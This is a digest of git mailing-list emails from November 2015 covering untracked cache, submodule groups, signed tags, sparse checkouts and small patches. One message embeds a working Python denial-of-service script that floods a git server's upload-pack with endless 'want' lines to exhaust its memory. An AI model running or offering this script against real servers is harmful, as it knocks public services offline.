date:20151125

Hi Duy,

On Wed, Nov 25, 2015 at 8:51 PM, Duy Nguyen  wrote:
> On Wed, Nov 25, 2015 at 10:00 AM, Ævar Arnfjörð Bjarmason
>  wrote:
>> On Wed, Nov 25, 2015 at 7:35 AM, Christian Couder
>>  wrote:
>>> At Booking.com we know that mtime works everywhere and we don't
>>> want the untracked cache to stop working when a kernel is upgraded
>>> or when the repo is copied to a machine with a different kernel.
>>> I will add tests later if people are ok with this.
>>
>> I bit more info: I rolled Git out internally with this patch:
>> https://github.com/avar/git/commit/c63f7c12c2664631961add7cf3da901b0b6aa2f2
>>
>> The --untracked-cache feature hardcodes the equivalent of:
>>
>> pwd; uname --kernel-name --kernel-release --kernel-version
>>
>> Into the index. If any of those change it prints out the "cache is
>> disabled" warning.
>>
>> This patch will make it stop being so afraid of itself to the point of
>> disabling itself on minor kernel upgrades :)
>
> The problem is, there's no way to teach git to know it's a "minor"
> upgrade.. but if there is a config key to say "don't be paranoid, I
> know what I'm doing", then we can skip that check, or just warn
> instead of disabling the cache.

Yeah, in my patch if core.trustmtime is set to true or false the check
is skipped.

I am wondering why you didn't make it by default run the mtime checks
when a kernel change is detected. Maybe that would be better than
disabling itself.

>> A few other issues with this feature I've noticed:
>>
>>  * There's no way to just enable it globally via the config. Makes it
>> a bit of a hassle to use it. I wanted to have a config option to
>> enable it via the config, how about "index.untracked_cache = true" for
>> the config variable name?
>
> If you haven't noticed, all these experimental features have no real
> UI (update-index is plumbing). I have been waiting for someone like
> you to start using it and figure out the best UI (then implement it)
> ;)

Ok, we are happy to do that (including implementing it) :-)

I will take a look at something like index.untracked_cache. It will
probably also be a tristate like this:

- true: always enable it; die if core.trustmtime is false otherwise
warn if it is not true
- default/unset: same as current behavior
- false: die if it is enabled or when trying to enable to it

>>  * Doing "cd /tmp: git --git-dir=/git/somewhere/else/.git update-index
>> --untracked-cache" doesn't work how I'd expect. It hardcodes "/tmp" as
>> the directory that "works" into the index, so if you use the working
>> tree you'll never use the untracked cache. I spotted this because I
>> carry out a bunch of git maintenance commands with --git-dir instead
>> of cd-ing to the relevant directories. This works for most other
>> things in git, is it a bug that it doesn't work here?
>
> It needs the current directory at --untrack-cache time to test if the
> directory satisfies the requirements. So either you cd to that
> worktree, or you have to specify --worktree as well. Or am I missing
> something?

Maybe it could print out a message saying "Testing mtime in directory
$(pwd)" and if that works then "Untracked cache is enabled for
$(pwd)". That would make it clear that it will not work in other
directories.

Also maybe the mtime checks could be run when a directory change is detected.

>>  * If you "ctrl+c" git update-index --untracked-cache at an
>> inopportune time you'll end up with a mtime-test-XX directory in
>> your working tree. Perhaps this tempdir should be created in the .git
>> directory instead?
>
> No because in theory .git could be on a separate file system with
> different semantics. But we should probably clean those files at ^C.

Ok, I will have a look at cleaning the files at ^C.

>>  * Maybe we should have a --test-untracked-cache option, so you can
>> run the tests without enabling it.
>
> I'd say patches welcome.

Ok, I wll have a look at that too.

>> Aside from the slight hassle of enabling this and keeping it enabled
>> this feature is great. It's sped up "git status" across the board by
>> about 40%. Slightly less than that on faster spinning disks, slightly
>> more than that on slower ones.
>
> I'm still waiting for the day when watchman support gets merged and
> maybe poke Facebook guys to compare performance with Mercurial :)
> Well, we are probably still behind Mercurial on that day.

Yeah, it could be interesting to compare performance with Mercurial as
we move forward :-)

> Also, there's still work to be done. Right now it's optimized for
> whole-tree "git status", Doing "git status -- abc" will not benefit
> from untracked cache, similarly "git add" with pathspec..

Thanks for these details. Yeah, it might be interesting to look at
"git add" too.

Best,
Christian.
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCHv2] builtin/clone: support submodule groups

2015-11-25 Thread Trevor Saunders

On Wed, Nov 25, 2015 at 04:31:24PM -0800, Stefan Beller wrote:
> This passes each group to the `submodule update` invocation and
> additionally configures the groups to be automatically updated.
> 
> Signed-off-by: Stefan Beller 
> ---
> 
> This is a resend of the patch "[PATCH 5/5] builtin/clone: support submodule 
> groups"
> as that's where Jens and I discussed.

Seeing the recent sparse checkout discussion I realized it might be
useful to have a similar sort of feature for sparse checkouts.  So say I
had a mobile and desktop client in the same repo and wanted to be able to
checkout the commoncode and one client without having to explicitly list
all the paths I care about. It seems like UI wise you might want to use
--group there too, or at least explaining the difference to users might
be interesting, but maybe that's worrying way too much abouta possible
future feature.

Trev

> 
> * reworded the documentation to match reality of the patch
> * --recurse is now implied and can be turned off.
> 
> Thanks for the fast feedback,
> Stefan
> 
> Interdiff to previous version [PATCH 5/5] builtin/clone: support submodule 
> groups
> --- a/Documentation/git-clone.txt
> +++ b/Documentation/git-clone.txt
> @@ -211,14 +211,16 @@ objects from the source repository into a pack 
> in the cloned repository.
>  
>  --group::
> After the clone is created, all submodules which are part of 
> the
> -   group are cloned. This option can be given multiple times to 
> specify
> -   different groups. This option will imply automatic submodule
> -   updates for the groups by setting `submodule.update=groups`.
> -   The group selection will be passed on recursively, i.e. if a 
> submodule
> -   is cloned because of group membership, its submodules will
> -   be cloned according to group membership, too. If a submodule 
> is
> -   not cloned however, its submodules are not evaluated for group
> -   membership.
> +   given groups are cloned. To specify multiple groups, you can 
> either
> +   give the group argument multiple times or comma separate the 
> groups.
> +   This option will be recorded in the `submodule.groups` config,
> +   which will affect the behavior of other submodule related 
> commands,
> +   such as `git submodule update`.
> +   This option implies recursive submodule checkout. If you don't
> +   want to recurse into nested submodules, you need to specify
> +   `--no-recursive`. The group selection will be passed on 
> recursively,
> +   i.e. if a submodule is cloned because of group membership, its
> +   submodules will be cloned according to group membership, too.
>  
>  --separate-git-dir=::
> Instead of placing the cloned repository where it is supposed
> diff --git a/builtin/clone.c b/builtin/clone.c
> index 17e9f54..377c031 100644
> --- a/builtin/clone.c
> +++ b/builtin/clone.c
> @@ -39,7 +39,7 @@ static const char * const builtin_clone_usage[] = {
>  };
>  
>  static int option_no_checkout, option_bare, option_mirror, 
> option_single_branch = -1;
> -static int option_local = -1, option_no_hardlinks, option_shared, 
> option_recursive;
> +static int option_local = -1, option_no_hardlinks, option_shared, 
> option_recursive = -1;
>  static char *option_template, *option_depth;
>  static char *option_origin = NULL;
>  static char *option_branch = NULL;
> @@ -875,9 +875,12 @@ int cmd_clone(int argc, const char **argv, const 
> char *prefix)
> die(_("--bare and --separate-git-dir are 
> incompatible."));
> option_no_checkout = 1;
> }
> -
> -   if (option_recursive && submodule_groups.nr > 0)
> -   die(_("submodule groups and recursive flag are 
> incompatible"));
> +   if (option_recursive == -1) {
> +   if (submodule_groups.nr > 0)
> +   option_recursive = 1; /* submodule groups 
> implies recursive */
> +   else
> +   option_recursive = 0; /* preserve historical 
> default */
> +   }
> if (submodule_groups.nr > 0) {
> int first_item = 1;
> struct string_list_item *item;
> 
> Here comes the actual patch:
> 
>  Documentation/git-clone.txt | 13 +
>  builtin/clone.c | 38 ++---
>  git-submodule.sh|  5 
>  t/t7400-submodule-basic.sh  | 69 
> +
>  t/t7406-submodule-update.sh | 32 +
>  5 files ch

Re: Signed tags and git repository

2015-11-25 Thread Stephen & Linda Smith

On Thursday, November 26, 2015 04:56:00 AM Johannes Löthberg wrote:

> You don't even need the Web of Trust though, you can just verify the 
> signature and then check that the key used to make the signature is the 
> correct one, 

Ok, but if I don't have a link to the Web or Trust, how do I know that "the
key used to make sure the signature is the correct one" (i.e. trusted).

sps

signature.asc
Description: This is a digitally signed message part.

arbitrary memory allocation

2015-11-25 Thread ytrezq

Hello,

First, something I still don t understand, should I always ulimit ram
usage for security purposes when I m manage a public server?

If not, you may find the attachment interesting#!/usr/bin/python
from socket import *
import sys,time
if len(sys.argv)!=3:
	print "Ok, it is not a real memory leak but it can be used against any public git server.\nAn http version of this script would benefit from a large zlib compression ratio allowing to fill the ram 200 time faster like with ssh"
	print ""
	print "usage"
	print "argv1 is the target domain name or address"
	print "argv2 is the path to a non empty repo with at least 2 refs"
	print ""
	print "for example git://somesite.com/git/linux.git would become"
	print sys.argv[0] + " somesite.com /git/linux.git"
	exit(1)

sockobj = socket(AF_INET, SOCK_STREAM)
sockobj.connect((sys.argv[1],9418))
path="git-upload-pack "+sys.argv[2]+"\0host="+sys.argv[1]+'\0' # request a clone
sockobj.send(format(len(path)+4,'04x')+path) # see the git documentation for more information about the pkt-line format

# Even when blocking, socket.recv might not send the complete request size
def full_read(length):
	buf=sockobj.recv(length)
	size=length-len(buf)
	while size>0:
		time.sleep(0.001) # wait for data to arrive
		buf+=sockobj.recv(size)
		size=size-len(buf)
	return buf

obj=[full_read(int(full_read(4),16)-4)]
pkt_line_length=int(sockobj.recv(4),16)-4 # represent the lenght of a packet in pkt-line format (in hex on 4 ascii bytes)
while pkt_line_length>0:
	obj.append(full_read(pkt_line_length))
	pkt_line_length=int(full_read(4),16)-4
	if sys.getsizeof(obj)>15: # Don t do the same error of the official git project, limit our ram usage
		time.sleep(1)
		sockobj.recv(1) # be sure git-upload-pack would be ready for recieving
		break

first_line="want "+obj[0][:40]+" multi_ack_detailed side-band-64k thin-pack ofs-delta agent=git/2.9.2\n" # The first line have a different format
sockobj.send(format(len(first_line)+4,'04x')+first_line) # send it in the pkt-line format

line_list="0032want "+obj[1][:40]+'\n'
while len(line_list)<65430: # Get the ideal tcp packet size for fastest bandwidth (64Ko)
	for i in obj:
		if (i==obj[0]) or (i==obj[1]) or ("pull" in i):
			continue
		line_list+="0032want "+i[:40]+'\n'
		if len(line_list)>65480:
			break


# struct object (see object.h line 47)
# unsigned int
# unsigned int
# unsigned int
# unsigned int
# unsigned char binary_sha[20]

# objects=object +
# char *=NULL (64 bit int)
# char *=NULL (64 bit int)
# unsigned mode
line_list_len=line_list.count('\n')*56 # Line lengths of the pkt-line format won t fill the ram, so remove them from the size counter
count=line_list_len
while True:
	sys.stdout.flush()
	sockobj.send(line_list) # for each line, the git-send-pack process allocate append a member to a struct objects array
	print("\r%.2f Mo of ram filled" % float(count/float(1048576))),
	count+=line_list_len

Re: Signed tags and git repository

2015-11-25 Thread Johannes Löthberg


On 25/11, Stephen & Linda Smith wrote:

I know that the linux and git repositories have signed tags, but I'm not able 
to verify
them because my key isn't signed by anyone that leads back to one of the git or 
linux
maintainers.


Your key would only have to be signed for others to be able to verify 
/your/ signatures through the Web of Trust.


You don't even need the Web of Trust though, you can just verify the 
signature and then check that the key used to make the signature is the 
correct one, then you could either sign the key if you know that the key 
belongs to the right person and want to make the signature public, or 
make a local signature which is local to your keyring and won't be sent 
to eg keyservers. Or just mark the key as trusted overall.


--
Sincerely,
 Johannes Löthberg
 PGP Key ID: 0x50FB9B273A9D0BB5
 https://theos.kyriasis.com/~kyrias/


signature.asc
Description: PGP signature

Re: [PATCHv2] builtin/clone: support submodule groups

On Wed, Nov 25, 2015 at 4:31 PM, Stefan Beller  wrote:
> This passes each group to the `submodule update` invocation and
> additionally configures the groups to be automatically updated.
>
> Signed-off-by: Stefan Beller 
> ---
>
> This is a resend of the patch "[PATCH 5/5] builtin/clone: support submodule 
> groups"
> as that's where Jens and I discussed.
>
> * reworded the documentation to match reality of the patch

Oh wait, I just wrote down wishful thinking (at least partially)
You cannot quite specify the comma separated list yet in one --group parameter.
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[PATCHv2] builtin/clone: support submodule groups

This passes each group to the `submodule update` invocation and
additionally configures the groups to be automatically updated.

Signed-off-by: Stefan Beller 
---

This is a resend of the patch "[PATCH 5/5] builtin/clone: support submodule 
groups"
as that's where Jens and I discussed.

* reworded the documentation to match reality of the patch
* --recurse is now implied and can be turned off.

Thanks for the fast feedback,
Stefan

Interdiff to previous version [PATCH 5/5] builtin/clone: support submodule 
groups
--- a/Documentation/git-clone.txt
+++ b/Documentation/git-clone.txt
@@ -211,14 +211,16 @@ objects from the source repository into a pack in 
the cloned repository.
 
 --group::
After the clone is created, all submodules which are part of the
-   group are cloned. This option can be given multiple times to 
specify
-   different groups. This option will imply automatic submodule
-   updates for the groups by setting `submodule.update=groups`.
-   The group selection will be passed on recursively, i.e. if a 
submodule
-   is cloned because of group membership, its submodules will
-   be cloned according to group membership, too. If a submodule is
-   not cloned however, its submodules are not evaluated for group
-   membership.
+   given groups are cloned. To specify multiple groups, you can 
either
+   give the group argument multiple times or comma separate the 
groups.
+   This option will be recorded in the `submodule.groups` config,
+   which will affect the behavior of other submodule related 
commands,
+   such as `git submodule update`.
+   This option implies recursive submodule checkout. If you don't
+   want to recurse into nested submodules, you need to specify
+   `--no-recursive`. The group selection will be passed on 
recursively,
+   i.e. if a submodule is cloned because of group membership, its
+   submodules will be cloned according to group membership, too.
 
 --separate-git-dir=::
Instead of placing the cloned repository where it is supposed
diff --git a/builtin/clone.c b/builtin/clone.c
index 17e9f54..377c031 100644
--- a/builtin/clone.c
+++ b/builtin/clone.c
@@ -39,7 +39,7 @@ static const char * const builtin_clone_usage[] = {
 };
 
 static int option_no_checkout, option_bare, option_mirror, 
option_single_branch = -1;
-static int option_local = -1, option_no_hardlinks, option_shared, 
option_recursive;
+static int option_local = -1, option_no_hardlinks, option_shared, 
option_recursive = -1;
 static char *option_template, *option_depth;
 static char *option_origin = NULL;
 static char *option_branch = NULL;
@@ -875,9 +875,12 @@ int cmd_clone(int argc, const char **argv, const 
char *prefix)
die(_("--bare and --separate-git-dir are 
incompatible."));
option_no_checkout = 1;
}
-
-   if (option_recursive && submodule_groups.nr > 0)
-   die(_("submodule groups and recursive flag are 
incompatible"));
+   if (option_recursive == -1) {
+   if (submodule_groups.nr > 0)
+   option_recursive = 1; /* submodule groups 
implies recursive */
+   else
+   option_recursive = 0; /* preserve historical 
default */
+   }
if (submodule_groups.nr > 0) {
int first_item = 1;
struct string_list_item *item;

Here comes the actual patch:

 Documentation/git-clone.txt | 13 +
 builtin/clone.c | 38 ++---
 git-submodule.sh|  5 
 t/t7400-submodule-basic.sh  | 69 +
 t/t7406-submodule-update.sh | 32 +
 5 files changed, 153 insertions(+), 4 deletions(-)

diff --git a/Documentation/git-clone.txt b/Documentation/git-clone.txt
index 59d8c67..2539fea 100644
--- a/Documentation/git-clone.txt
+++ b/Documentation/git-clone.txt
@@ -209,6 +209,19 @@ objects from the source repository into a pack in the 
cloned repository.
repository does not have a worktree/checkout (i.e. if any of
`--no-checkout`/`-n`, `--bare`, or `--mirror` is given)
 
+--group::
+   After the clone is created, all submodules which are part of the
+   given groups are cloned. To specify multiple groups, you can either
+   give the group argument multiple times or comma separate the groups.
+   This option will be recorded in the `submodule.groups` config,
+   which will affect the behavior of othe

Signed tags and git repository

2015-11-25 Thread Stephen & Linda Smith

I've been following commits to the linux and git repostitories for some time.   
I used signed tags for
projects that I'm working on.   

I know that the linux and git repositories have signed tags, but I'm not able 
to verify 
them because my key isn't signed by anyone that leads back to one of the git or 
linux 
maintainers. Of course I live in a technical desert since there seems to be no 
one that I
can find who lives in Phoenix, AZ that has a relationship to one of those two 
git repositories.

What have others done when they want their keys signed so they can be part of 
the 
web of trust? Does either of those two projects have a formal way of 
establishing these
relationships?

sps
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH 5/5] builtin/clone: support submodule groups

On Wed, Nov 25, 2015 at 2:30 PM, Jens Lehmann  wrote:
>>
>>
>> I like the concept of subgroups as it allows to have some control over
>> subsubmodules you may want to aggregate from a third party via the
>> middleman submodule.
>
>
> That's the point (though maybe someone might come up with a better
> name than "subgroups" ;-). And each repo configures its own submodule
> groups.
>
>> I'd prefer to delay that feature though by not giving a high priority.
>
>
> No problem, we can start with "check out all subsubmodules" for now.
> But I suspect we'll need subgroups rather sooner than later.

Oh!
I thought we'd recursively propagate the groups, so the subsubmodules
are checked to be either in groups or subgroups, and the subgroups are
just a way to enhance the union of groups.

>
>> Also would you go with subsubgroups, too? When does the recursion
>> end?
>
>
> Subsubgroups do not make sense in the superproject, that can only
> configure its direct submodules.

> I think you are talking about the
> groups of the subsubmodules, and these have to be chosen inside the
> first level submodules via the subgroups of its submodules (which
> are the second level submodules of the superproject). Still with
> me? ;-)

I believe so.

> So the recursion can go on forever even as soon as we
> implement the subgroup configuration.

So lets say you have your meta collection repository,
which looks like that:

operating systems:
ubuntu
linux
nonfree-game
...
gentoo
...
fedora
...
android
linux
linux-build-configs
vendor-phones
nexus-family

In the "operating systems" repo I have the submodules
ubuntu and android marked via a group: "work-related".

Now I want to specify to have the linux, linux-build-configs,
and in there the nexus-family in the android repository.

One way would be to have the "operating systems" repo to
have subsubgroups specifying the groups in the
submodules of linux-build-configs (3rd level of submodules).
You seem to oppose that.

The other way to do that, would be to have a fork of the android
repo and put in the right subgroups to select for the right submodules
in linux-build-configs. So forking and fixing the groups config
would be the way to make changes from upstream.

I personally would find it easier to have all the spec in the one
superproject repository as then I don't need to update the
forks. (the .gitmodules file would get some conflicts, in case of my
fork there, so it's not easy to maintain long term)

Is there yet another way to handle such a case of deeply nested
submodules properly?

>
>> In case we have more than the union of groups, but also prohibitive
>>
>> terms available, could subgroups clash with the submodules groups spec?
>
>
> Not that I'm aware of. Groups decide which submodules to update and
> only for those submodules subgroups tell git what group to use inside
> that submodule. And so on.
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [PATCH 5/5] builtin/clone: support submodule groups


Am 25.11.2015 um 21:03 schrieb Stefan Beller:

On Wed, Nov 25, 2015 at 11:50 AM, Jens Lehmann  wrote:



My thinking is that groups are implying recursive, whereas recursive
implies
"all groups", so a git clone --group  --recursive
makes not much sense to me as it begs the question, what does --recursive
mean?



Groups are only about what submodules to update and have nothing to
do with recursion. It might make sense to imply recursion, but that's
just because that should have been the default for submodules from day
one. Recursion and groups are orthogonal, the first is about what to
do inside the submodules (carry on or not?) and the latter is about
what to do in the superproject (shall I update this submodule?).


I see. So we would not want to mutually exclude recurse and groups,
but rather have groups implies --recurse, but you are allowed to give
--no-recurse if you explicitely do not want to recurse into the subsubmodules.


Exactly.


And then get all the nested submodules. But in case

you use the grouping feature, you could just mark the nested submodules
with
groups, too?



Not in the top superproject. In a submodule you can specify new groups
for its sub-submodules, but these will in most cases be different from
those of the superproject.

Imagine I have this really cool Metaproject which contains the Android
superproject as a submodule. Those two will define different groups,
and when recursing into the android submodule I need to choose from the
Android specific groups. So my Metaproject's .gitmodules could look like
this:

[submodule "android"]
 path = android
 url = git://...
 groups = default,mobile
 subgroups = devel

"groups" tells git what superproject groups the android submodule
belongs to, and "subgroups" tells git what android submodules are
to be checked out when running recursively into it. If you do not
configure "subgroups", the whole android submodule is updated when
one of the groups "default" or "mobile" is chosen in the superproject.


I like the concept of subgroups as it allows to have some control over
subsubmodules you may want to aggregate from a third party via the
middleman submodule.


That's the point (though maybe someone might come up with a better
name than "subgroups" ;-). And each repo configures its own submodule
groups.


I'd prefer to delay that feature though by not giving a high priority.


No problem, we can start with "check out all subsubmodules" for now.
But I suspect we'll need subgroups rather sooner than later.


Also would you go with subsubgroups, too? When does the recursion
end?


Subsubgroups do not make sense in the superproject, that can only
configure its direct submodules. I think you are talking about the
groups of the subsubmodules, and these have to be chosen inside the
first level submodules via the subgroups of its submodules (which
are the second level submodules of the superproject). Still with
me? ;-) So the recursion can go on forever even as soon as we
implement the subgroup configuration.

> In case we have more than the union of groups, but also prohibitive

terms available, could subgroups clash with the submodules groups spec?


Not that I'm aware of. Groups decide which submodules to update and
only for those submodules subgroups tell git what group to use inside
that submodule. And so on.
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[PATCH] test_must_fail: compare exit_code using integer -eq operator

2015-11-25 Thread Ramsay Jones


Signed-off-by: Ramsay Jones 
---

Hi Jeff,

Can we squash this into your fixup?

ATB,
Ramsay Jones

 t/test-lib-functions.sh | 8 
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/t/test-lib-functions.sh b/t/test-lib-functions.sh
index 85aeaf9..2bb639e 100644
--- a/t/test-lib-functions.sh
+++ b/t/test-lib-functions.sh
@@ -605,22 +605,22 @@ test_must_fail () {
esac
"$@"
exit_code=$?
-   if test $exit_code = 0 && ! test_list_contains "$_test_ok" success
+   if test $exit_code -eq 0 && ! test_list_contains "$_test_ok" success
then
echo >&2 "test_must_fail: command succeeded: $*"
return 1
-   elif test $exit_code = 141 && test_list_contains "$_test_ok" sigpipe
+   elif test $exit_code -eq 141 && test_list_contains "$_test_ok" sigpipe
then
return 0
elif test $exit_code -gt 129 && test $exit_code -le 192
then
echo >&2 "test_must_fail: died by signal: $*"
return 1
-   elif test $exit_code = 127
+   elif test $exit_code -eq 127
then
echo >&2 "test_must_fail: command not found: $*"
return 1
-   elif test $exit_code = 126
+   elif test $exit_code -eq 126
then
echo >&2 "test_must_fail: valgrind error: $*"
return 1
-- 
2.6.0
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[PATCH] builtin/ff-refs.c: mark some file-local variables static

2015-11-25 Thread Ramsay Jones


Signed-off-by: Ramsay Jones 
---

Hi Michael,

If you need to re-roll the patches in your 'mr/ff-refs' branch,
could you please squash parts of this patch into the relevant
patches from your branch.

Thanks.

Also, I note that gcc complains about the two calls to chdir().
(warning: ignoring return value of ‘chdir’, declared with
attribute warn_unused_result [-Wunused-result])

ATB,
Ramsay Jones

 builtin/ff-refs.c | 8 
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/builtin/ff-refs.c b/builtin/ff-refs.c
index ae68cfb..db8c378 100644
--- a/builtin/ff-refs.c
+++ b/builtin/ff-refs.c
@@ -5,10 +5,10 @@
 #include "run-command.h"
 #include "worktree.h"
 
-int dry_run = 0;
-int no_wt = 0;
-struct worktree **worktrees;
-const char *padding = ".";
+static int dry_run = 0;
+static int no_wt = 0;
+static struct worktree **worktrees;
+static const char *padding = 
".";
 
 static const char * const builtin_ff_refs_usage[] = {
N_("git ff-refs []"),
-- 
2.6.0
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

[PATCH] convert.c: mark a file-local function static

2015-11-25 Thread Ramsay Jones


Signed-off-by: Ramsay Jones 
---

Hi Torsten,

If you need to re-roll your 'tb/ls-files-eol' patch, could you
please squash this into the patch.

Thanks.

ATB,
Ramsay Jones

 convert.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/convert.c b/convert.c
index c99adcd..0595e21 100644
--- a/convert.c
+++ b/convert.c
@@ -118,7 +118,7 @@ static unsigned int gather_convert_stats(const char *data, 
unsigned long size)
return 0;
 }
 
-const char *gather_convert_stats_ascii(const char *data, unsigned long size)
+static const char *gather_convert_stats_ascii(const char *data, unsigned long 
size)
 {
unsigned int convert_stats = gather_convert_stats(data, size);
 
-- 
2.6.0
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: Sparse checkout in worktree

On Wed, Nov 25, 2015 at 9:44 PM, Michael J Gruber
 wrote:
> OTOH, config is common: core.sparseCheckout
> So, the per worktree "switch" is the presence of the sparse-checkout file.

Oh.. but yeah, splitting config file per worktree is on my todo list.
Or you can help finish it [1] if you want to make it happen faster

[1] http://article.gmane.org/gmane.comp.version-control.git/266520
-- 
Duy
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: Sparse checkout in worktree

2015-11-25 Thread Michael J Gruber

Duy Nguyen venit, vidit, dixit 25.11.2015 21:17:
> On Wed, Nov 25, 2015 at 8:44 PM, Michael J Gruber
>  wrote:
>> Duy Nguyen venit, vidit, dixit 25.11.2015 20:38:
>>> On Wed, Nov 25, 2015 at 1:40 PM, Michael J Gruber
>>>  wrote:
 Hi there,

 I'm wondering how much it would take to enable worktree specific sparse
 checkouts. From a superfluous look:

 - $GIT_DIR/info/sparse_checkout needs to be worktree specific
>>>
>>> It already is.
>>
>> But where should I put the worktree specific sparse_checkout file? Is
>> Documentation/technical really the only place to find information about
>> this? And to make the existing tree sparse, do I need to rm -r and
>> checkout sparsely?
> 
> Ahh.. worktree-specific files of the checkout "foo" stay in
> $GIT_DIR/repos/foo. So sparse-checkout path should be
> $GIT_DIR/repos/foo/info/sparse-checkout. This is another good reason
> to add 'git checkout --edit-sparse' that opens the sparse-checkout
> file for you to update. Or you could use 'git rev-parse --git-path
> info/sparse-checkout" to get full path.
> 

[ "worktrees", not "repos" ]

Maybe creating an empty info dir by default would help already - I had
looked in there but didn't find anything.

OTOH, config is common: core.sparseCheckout
So, the per worktree "switch" is the presence of the sparse-checkout file.

Michael
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

opentracker bug

2015-11-25 Thread Debian User

Hello. 
I have found a bug in opentracker // http://erdgeist.org/gitweb/opentracker/ , 
or it is something wrong with my PC (?).

Every time when I access statistics page at 
"localhost:6969/st?mode=everything", it redirects my browser to 
"http://www.localhost.com:6969/st?mode=everything"; and opentracker crashes with 
same segmentation error. All other types (modes) of statistics work fine. 

Tried different configs, users, folders, ... all the same. 
Especially fun is "www" and "com" with "localhost" :)

OS Debian 8.0 Jessie amd64, opentracker was installed from sources by 
instruction on the official website. 

Thank you.
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: Git super slow on Windows 7

On Wed, Nov 25, 2015 at 12:23 PM, Duy Nguyen  wrote:
> On Wed, Nov 25, 2015 at 7:47 PM, Stefan Beller  wrote:
>> On Wed, Nov 25, 2015 at 10:42 AM, Lars Schneider
>>  wrote:
>>> After some investigation I figured that ~50 Submodules are the culprit.
>>> Does anyone have an idea how to speed up Git on Windows while keeping 50 
>>> Submodules?
>>>
>>> Thanks,
>>> Lars
>>>
>>>
>>
>> Use the latest version of Git ;)
>
> Does it do parallel refresh yet? I think it would help.  I only looked
> at "git log --merges origin/pu" and nothing caught my eyes.

No. The hinted patch series only does a partial shell->C conversion, which
is the best guess for improving git status here.

I punted on parallel local operations inside "git submodule update" for now, too
as when things go wrong there, you need a human to resolve the merge conflict,
and as a user you only want to deal with one merge conflict at a time instead of
being left there with a ton of unresolved issues (according to the git
log of older
patches in the submodule area).

git status should require not human interaction if things go bad
within submodules,
so we may want to speed that up by parallelizing the submodule part. The status
command gathers all information of submodules by a call to "git
submodule summary"
and does some slight post processing on the output. "git submodule
summary" however
is written completely in shell code (200 lines, so I estimate 400 lines of C).

I will benchmark that later today and check if it's worth for us to
rewrite that in C for
our case (we plan to have lots more submodules, but we're a linux shop)
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

opentracker bug

2015-11-25 Thread Username

Hello.
I have found a bug in opentracker // http://erdgeist.org/gitweb/opentracker/
, or it is something wrong with my PC (?).

Every time when I access statistics page at
"localhost:6969/st?mode=everything", it redirects my browser to
"http://www.localhost.com:6969/st?mode=everything"; and opentracker crashes
with same segmentation error. All other types (modes) of statistics work fine.

Tried different configs, users, folders, ... all the same.
Especially fun is "www" and "com" with "localhost" :)

OS Debian 8.0 Jessie amd64, opentracker was installed from sources by
instruction on the official website.

Thank you.

--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: Sparse checkout in worktree

On Wed, Nov 25, 2015 at 8:44 PM, Michael J Gruber
 wrote:
> Duy Nguyen venit, vidit, dixit 25.11.2015 20:38:
>> On Wed, Nov 25, 2015 at 1:40 PM, Michael J Gruber
>>  wrote:
>>> Hi there,
>>>
>>> I'm wondering how much it would take to enable worktree specific sparse
>>> checkouts. From a superfluous look:
>>>
>>> - $GIT_DIR/info/sparse_checkout needs to be worktree specific
>>
>> It already is.
>
> But where should I put the worktree specific sparse_checkout file? Is
> Documentation/technical really the only place to find information about
> this? And to make the existing tree sparse, do I need to rm -r and
> checkout sparsely?

Ahh.. worktree-specific files of the checkout "foo" stay in
$GIT_DIR/repos/foo. So sparse-checkout path should be
$GIT_DIR/repos/foo/info/sparse-checkout. This is another good reason
to add 'git checkout --edit-sparse' that opens the sparse-checkout
file for you to update. Or you could use 'git rev-parse --git-path
info/sparse-checkout" to get full path.
-- 
Duy
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: Git super slow on Windows 7

On Wed, Nov 25, 2015 at 7:47 PM, Stefan Beller  wrote:
> On Wed, Nov 25, 2015 at 10:42 AM, Lars Schneider
>  wrote:
>> After some investigation I figured that ~50 Submodules are the culprit.
>> Does anyone have an idea how to speed up Git on Windows while keeping 50 
>> Submodules?
>>
>> Thanks,
>> Lars
>>
>>
>
> Use the latest version of Git ;)

Does it do parallel refresh yet? I think it would help.  I only looked
at "git log --merges origin/pu" and nothing caught my eyes.
-- 
Duy
--
To unsubscribe from this list: send the line "unsubscribe git" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: Git clone fails during pre-commit hook due to GIT_WORK_TREE=. (regression 2.5 -> 2.6)

On Tue, Nov 24, 2015 at 6:57 PM, Stefan Beller  wrote:
